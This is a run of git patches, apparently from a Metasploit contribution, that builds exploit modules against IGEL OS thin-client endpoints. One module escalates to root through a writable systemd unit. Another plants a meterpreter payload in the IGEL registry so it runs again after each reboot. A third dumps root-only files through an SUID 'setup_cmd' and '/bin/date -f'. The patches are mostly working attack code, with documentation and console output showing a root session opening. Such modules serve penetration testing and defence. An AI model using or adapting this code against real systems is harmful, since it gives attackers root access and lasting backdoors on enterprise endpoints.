def run print_status('Executing command on target') - output = cmd_exec("/config/bin/setup_cmd /bin/date -f #{datastore['RPATH']}") + output = create_process('/config/bin/setup_cmd', args: ['/bin/date', '-f', datastore['RPATH']]) print_status('Command completed:') data = [] From c0a756a751d071e9f0d5712bbff035762228a9d9 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Fri, 21 Nov 2025 13:52:41 +0000 Subject: [PATCH 14/22] Verify registry has been written successfully --- .../exploits/linux/persistence/igel_persistence.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/modules/exploits/linux/persistence/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb index eadacd581a74e..dca977e7dac76 100644 --- a/modules/exploits/linux/persistence/igel_persistence.rb +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -72,8 +72,15 @@ def install_persistence payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700) command = local_command(payload_file) end + print_status('Writing persistence to registry') write_registry(datastore['REGISTRY_KEY'], command) + if get_registry(datastore['REGISTRY_KEY']) != command + fail_with(Failure::Unknown, 'Failed to write to registry') + else + print_status('Registry written successfully') + print_status('The payload should be executed when the target reboots') + end end def remount_license(opt = 'rw') @@ -102,6 +109,10 @@ def local_command(payload_file) return command end + def get_registry(key) + create_process('/bin/get', args: [key]) + end + def write_registry(key, value) create_process('/bin/setparam', args: [key, value]) end From da33eed8427b5a09e6aec7a89c63326f9efc6205 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Fri, 21 Nov 2025 14:02:05 +0000 Subject: [PATCH 15/22] Use fail_with instead of a check method --- .../exploits/linux/persistence/igel_persistence.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/persistence/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb index dca977e7dac76..c6447afec3a24 100644 --- a/modules/exploits/linux/persistence/igel_persistence.rb +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -11,7 +11,6 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper include Msf::Exploit::EXE include Msf::Exploit::Local::Persistence - prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -56,13 +55,15 @@ def initialize(info = {}) ]) end - def check - return CheckCode::Safe('Session does not have root access') unless is_root? - - CheckCode::Appears('Session has root access') + def validate + unless is_root? + fail_with(Failure::NoAccess, 'Session does not have root access') + end end def install_persistence + validate + if datastore['REGISTRY_ONLY'] print_status('Base64-encoding payload') encoded_payload = Rex::Text.encode_base64(generate_payload_exe) From 0c4d1e70d1a341500b89dab794629726c0ad1b50 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 24 Nov 2025 11:16:22 +0000 Subject: [PATCH 16/22] Add support for ARCH_CMD payload --- .../linux/persistence/igel_persistence.rb | 41 ++++++++++++------- 1 file changed, 27 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/persistence/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb index c6447afec3a24..b48423f2cfa81 100644 --- a/modules/exploits/linux/persistence/igel_persistence.rb +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -24,12 +24,20 @@ def initialize(info = {}) 'Author' => 'Zack Didcott', 'License' => MSF_LICENSE, 'Platform' => ['linux'], - 'Arch' => [ARCH_X64], + 'Arch' => [ARCH_CMD, ARCH_X64], 'Targets' => [ [ - 'Linux x86_64', { - 'Arch' => ARCH_X64, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + 'Linux Command', { + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp' }, + 'Type' => :nix_cmd + } + ], + [ + 'Linux Dropper', { + 'Arch' => [ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper } ], ], @@ -50,8 +58,8 @@ def initialize(info = {}) 'Registry key to use for automatically executing payload', 'userinterface.rccustom.custom_cmd_net_final' ]), - OptString.new('TARGET_DIR', [true, 'Directory to write payload', '/license']), - OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry', false]) + OptString.new('TARGET_DIR', [true, 'Directory to write payload (dropper only)', '/license']), + OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry (dropper only)', false]) ]) end @@ -64,14 +72,19 @@ def validate def install_persistence validate - if datastore['REGISTRY_ONLY'] - print_status('Base64-encoding payload') - encoded_payload = Rex::Text.encode_base64(generate_payload_exe) - command = base64_command(encoded_payload) - else - print_status("Uploading payload to #{datastore['TARGET_DIR']}") - payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700) - command = local_command(payload_file) + case target['Type'] + when :nix_cmd + command = payload.encoded + when :linux_dropper + if datastore['REGISTRY_ONLY'] + print_status('Base64-encoding payload') + encoded_payload = Rex::Text.encode_base64(generate_payload_exe) + command = base64_command(encoded_payload) + else + print_status("Uploading payload to #{datastore['TARGET_DIR']}") + payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700) + command = local_command(payload_file) + end end print_status('Writing persistence to registry') From 002795c5bef1a537cec1d2103ec9c1c7e916f35b Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 24 Nov 2025 11:24:23 +0000 Subject: [PATCH 17/22] Update module information in documentation --- .../exploit/linux/local/igel_network_priv_esc.md | 4 ++++ .../exploit/linux/persistence/igel_persistence.md | 12 ++++++++++-- .../modules/post/linux/gather/igel_dump_file.md | 2 ++ 3 files changed, 16 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md index 0913ac0941c50..46a6031dbb7a2 100644 --- a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md +++ b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md @@ -14,6 +14,10 @@ script `/config/bin/network` to be executed as root, which in turn called `systemctl $1 network-manager.service`, allowing a systemd unit to be modified by an unprivileged user. +The network service is restarted after the systemd unit configuration is updated, +causing a brief notification and loss of network connectivity. Once restarted, +a session should be created as root. + ## Verification Steps 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host diff --git a/documentation/modules/exploit/linux/persistence/igel_persistence.md b/documentation/modules/exploit/linux/persistence/igel_persistence.md index 6b7327a0f87b5..3a5767a20b5fa 100644 --- a/documentation/modules/exploit/linux/persistence/igel_persistence.md +++ b/documentation/modules/exploit/linux/persistence/igel_persistence.md @@ -13,6 +13,12 @@ stored in their proprietary filesystem, with the exception of a few persistent locations. Therefore, changes to the system will likely be lost on a reboot, unless written to specific locations, such as `/license` or registry. +This module requires root access in order to write to privileged locations +in registry and optionally remount and write to `/license`. + +By default, the module writes a command payload to registry to fetch and execute +the binary payload on establishing a network connection after a reboot. + See [igelfs](https://github.com/Zedeldi/igelfs) for more information about the IGEL filesystem and an unofficial Python implementation. @@ -30,8 +36,8 @@ the IGEL filesystem and an unofficial Python implementation. | Name | Description | | ------------- | ------------------------------------------------------- | | REGISTRY_KEY | Registry key to use for automatically executing payload | -| REGISTRY_ONLY | Set whether to store payload in registry | -| TARGET_DIR | Directory to write payload | +| REGISTRY_ONLY | Set whether to store payload in registry (dropper only) | +| TARGET_DIR | Directory to write payload (dropper only) | ## Scenarios @@ -44,5 +50,7 @@ msf exploit(linux/persistence/igel_persistence) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Uploading payload to /license [*] Writing persistence to registry +[*] Registry written successfully +[*] The payload should be executed when the target reboots [*] Exploit completed, but no session was created. ``` diff --git a/documentation/modules/post/linux/gather/igel_dump_file.md b/documentation/modules/post/linux/gather/igel_dump_file.md index b75e11f05aa42..eb27849f3aad3 100644 --- a/documentation/modules/post/linux/gather/igel_dump_file.md +++ b/documentation/modules/post/linux/gather/igel_dump_file.md @@ -12,6 +12,8 @@ In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset list of files it could execute with elevated permissions. This allowed `/bin/date -f` to be used for data extraction as root. +The dumped file is printed to screen and saved as loot. + ## Verification Steps 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host From 933fb7bdf19db272357c42ec8494cf0f9fdb2ea6 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 24 Nov 2025 11:43:46 +0000 Subject: [PATCH 18/22] Add clean-up information --- .../modules/exploit/linux/local/igel_network_priv_esc.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md index 46a6031dbb7a2..5fd047d656b41 100644 --- a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md +++ b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md @@ -18,6 +18,8 @@ The network service is restarted after the systemd unit configuration is updated causing a brief notification and loss of network connectivity. Once restarted, a session should be created as root. +All files on disk (including the payload) are registered for clean-up. + ## Verification Steps 1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host @@ -47,6 +49,7 @@ msf exploit(linux/local/igel_network_priv_esc) > run [*] Sending stage (3090404 bytes) to 192.168.56.7 [+] Deleted /tmp/WHQCVmDB [+] Deleted /tmp/fylZWXSF +[+] Deleted /tmp/LBnyPcKt [*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000 meterpreter > getuid From ffaf43af2f2ea1e1e36c9fcf89572389c811d9d8 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 24 Nov 2025 11:45:34 +0000 Subject: [PATCH 19/22] Add writable? and file? checks to write_payload --- modules/exploits/linux/local/igel_network_priv_esc.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/igel_network_priv_esc.rb b/modules/exploits/linux/local/igel_network_priv_esc.rb index d509049723260..7a99f710f64b1 100644 --- a/modules/exploits/linux/local/igel_network_priv_esc.rb +++ b/modules/exploits/linux/local/igel_network_priv_esc.rb @@ -65,12 +65,18 @@ def exploit end def write_payload(contents, dir, perm) - fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir) + fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir) + fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir) filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" write_file(filepath, contents) chmod(filepath, perm) + + unless file?(filepath) + fail_with(Failure::Unknown, "Failed to write to '#{filepath}'") + end + register_files_for_cleanup(filepath) return filepath From ce926fd3d13f827ae3e25a408a251104d636c309 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 24 Nov 2025 11:57:18 +0000 Subject: [PATCH 20/22] Update vulnerable IGEL OS version to < 11.09.310 --- .../modules/exploit/linux/local/igel_network_priv_esc.md | 4 ++-- documentation/modules/post/linux/gather/igel_dump_file.md | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md index 5fd047d656b41..8346eaf205636 100644 --- a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md +++ b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md @@ -1,6 +1,6 @@ ## Vulnerable Application -IGEL OS < 11.10.100 with a `shell` or `meterpreter` session. +IGEL OS < 11.09.310 with a `shell` or `meterpreter` session. IGEL OS is a Linux-based operating system designed for endpoint devices, primarily used in enterprise environments to provide secure access to virtual @@ -22,7 +22,7 @@ All files on disk (including the payload) are registered for clean-up. ## Verification Steps -1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host +1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.310 host 2. Use: `use exploit/linux/local/igel_network_priv_esc` 3. Set: `set SESSION `, replacing `` with the session ID 4. Set payload options, e.g. `LHOST` diff --git a/documentation/modules/post/linux/gather/igel_dump_file.md b/documentation/modules/post/linux/gather/igel_dump_file.md index eb27849f3aad3..9b3fe82c01083 100644 --- a/documentation/modules/post/linux/gather/igel_dump_file.md +++ b/documentation/modules/post/linux/gather/igel_dump_file.md @@ -1,6 +1,6 @@ ## Vulnerable Application -IGEL OS < 11.10.100 with a `shell` or `meterpreter` session. +IGEL OS < 11.09.310 with a `shell` or `meterpreter` session. IGEL OS is a Linux-based operating system designed for endpoint devices, primarily used in enterprise environments to provide secure access to virtual @@ -16,7 +16,7 @@ The dumped file is printed to screen and saved as loot. ## Verification Steps -1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.100 host +1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.310 host 2. Use: `use post/linux/gather/igel_dump_file` 3. Set: `set SESSION `, replacing `` with the session ID 4. Optionally, set `RPATH` From 4b2798f357b2fa048230853b777d98a5bffed8be Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 24 Nov 2025 17:10:51 +0000 Subject: [PATCH 21/22] Correct vulnerable version information --- .../modules/exploit/linux/local/igel_network_priv_esc.md | 4 ++-- documentation/modules/post/linux/gather/igel_dump_file.md | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md index 8346eaf205636..dac2cce1d0156 100644 --- a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md +++ b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md @@ -1,6 +1,6 @@ ## Vulnerable Application -IGEL OS < 11.09.310 with a `shell` or `meterpreter` session. +IGEL OS < 11.10.150 with a `shell` or `meterpreter` session. IGEL OS is a Linux-based operating system designed for endpoint devices, primarily used in enterprise environments to provide secure access to virtual @@ -22,7 +22,7 @@ All files on disk (including the payload) are registered for clean-up. ## Verification Steps -1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.310 host +1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.150 host 2. Use: `use exploit/linux/local/igel_network_priv_esc` 3. Set: `set SESSION `, replacing `` with the session ID 4. Set payload options, e.g. `LHOST` diff --git a/documentation/modules/post/linux/gather/igel_dump_file.md b/documentation/modules/post/linux/gather/igel_dump_file.md index 9b3fe82c01083..a42d769f2b343 100644 --- a/documentation/modules/post/linux/gather/igel_dump_file.md +++ b/documentation/modules/post/linux/gather/igel_dump_file.md @@ -1,6 +1,6 @@ ## Vulnerable Application -IGEL OS < 11.09.310 with a `shell` or `meterpreter` session. +IGEL OS < 11.09.260 with a `shell` or `meterpreter` session. IGEL OS is a Linux-based operating system designed for endpoint devices, primarily used in enterprise environments to provide secure access to virtual @@ -16,7 +16,7 @@ The dumped file is printed to screen and saved as loot. ## Verification Steps -1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.310 host +1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.260 host 2. Use: `use post/linux/gather/igel_dump_file` 3. Set: `set SESSION `, replacing `` with the session ID 4. Optionally, set `RPATH` From d1fe17747c40918016eee38f6381680f97da5be8 Mon Sep 17 00:00:00 2001 From: Zedeldi <66186954+Zedeldi@users.noreply.github.com> Date: Mon, 24 Nov 2025 17:12:56 +0000 Subject: [PATCH 22/22] Add check methods and update DisclosureDate --- .../linux/local/igel_network_priv_esc.rb | 14 +++++++++- .../linux/persistence/igel_persistence.rb | 2 +- modules/post/linux/gather/igel_dump_file.rb | 27 ++++++++++++++++++- 3 files changed, 40 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/igel_network_priv_esc.rb b/modules/exploits/linux/local/igel_network_priv_esc.rb index 7a99f710f64b1..500ed5ae72dc8 100644 --- a/modules/exploits/linux/local/igel_network_priv_esc.rb +++ b/modules/exploits/linux/local/igel_network_priv_esc.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Exploit::EXE + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -35,7 +36,7 @@ def initialize(info = {}) ], 'DefaultTarget' => 0, 'SessionTypes' => ['shell', 'meterpreter'], - 'DisclosureDate' => '2024-05-16', + 'DisclosureDate' => '2024-07-10', # Patch release date 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], @@ -49,6 +50,17 @@ def initialize(info = {}) ]) end + def check + version = Rex::Version.new( + read_file('/etc/system-release').delete_prefix('IGEL OS').strip + ) + unless version < Rex::Version.new('11.10.150') + return CheckCode::Safe("IGEL OS #{version} is not vulnerable") + end + + CheckCode::Appears("IGEL OS #{version} should be vulnerable") + end + def exploit print_status('Uploading payload to target') payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700) diff --git a/modules/exploits/linux/persistence/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb index b48423f2cfa81..594843004f41f 100644 --- a/modules/exploits/linux/persistence/igel_persistence.rb +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -43,7 +43,7 @@ def initialize(info = {}) ], 'DefaultTarget' => 0, 'SessionTypes' => ['shell', 'meterpreter'], - 'DisclosureDate' => '2024-05-16', + 'DisclosureDate' => '2016-11-02', # IGEL OS 10 release date 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], diff --git a/modules/post/linux/gather/igel_dump_file.rb b/modules/post/linux/gather/igel_dump_file.rb index 791eeca251e04..c3734f78616eb 100644 --- a/modules/post/linux/gather/igel_dump_file.rb +++ b/modules/post/linux/gather/igel_dump_file.rb @@ -4,6 +4,8 @@ ## class MetasploitModule < Msf::Post + include Msf::Post::File + def initialize(info = {}) super( update_info( @@ -17,7 +19,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'SessionTypes' => ['shell', 'meterpreter'], - 'DisclosureDate' => '2024-05-16', + 'DisclosureDate' => '2024-03-07', # Patch release date 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], @@ -31,7 +33,30 @@ def initialize(info = {}) ]) end + def check + version = Rex::Version.new( + read_file('/etc/system-release').delete_prefix('IGEL OS').strip + ) + unless version < Rex::Version.new('11.09.260') + return Exploit::CheckCode::Safe("IGEL OS #{version} is not vulnerable") + end + + unless file?('/etc/setupd-usercommands.json') + return Exploit::CheckCode::Appears("IGEL OS #{version} appears to be vulnerable") + end + + Exploit::CheckCode::Appears("IGEL OS #{version} should be vulnerable") + end + def run + unless [ + Exploit::CheckCode::Detected, + Exploit::CheckCode::Appears, + Exploit::CheckCode::Vulnerable + ].include?(check) + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') + end + print_status('Executing command on target') output = create_process('/config/bin/setup_cmd', args: ['/bin/date', '-f', datastore['RPATH']])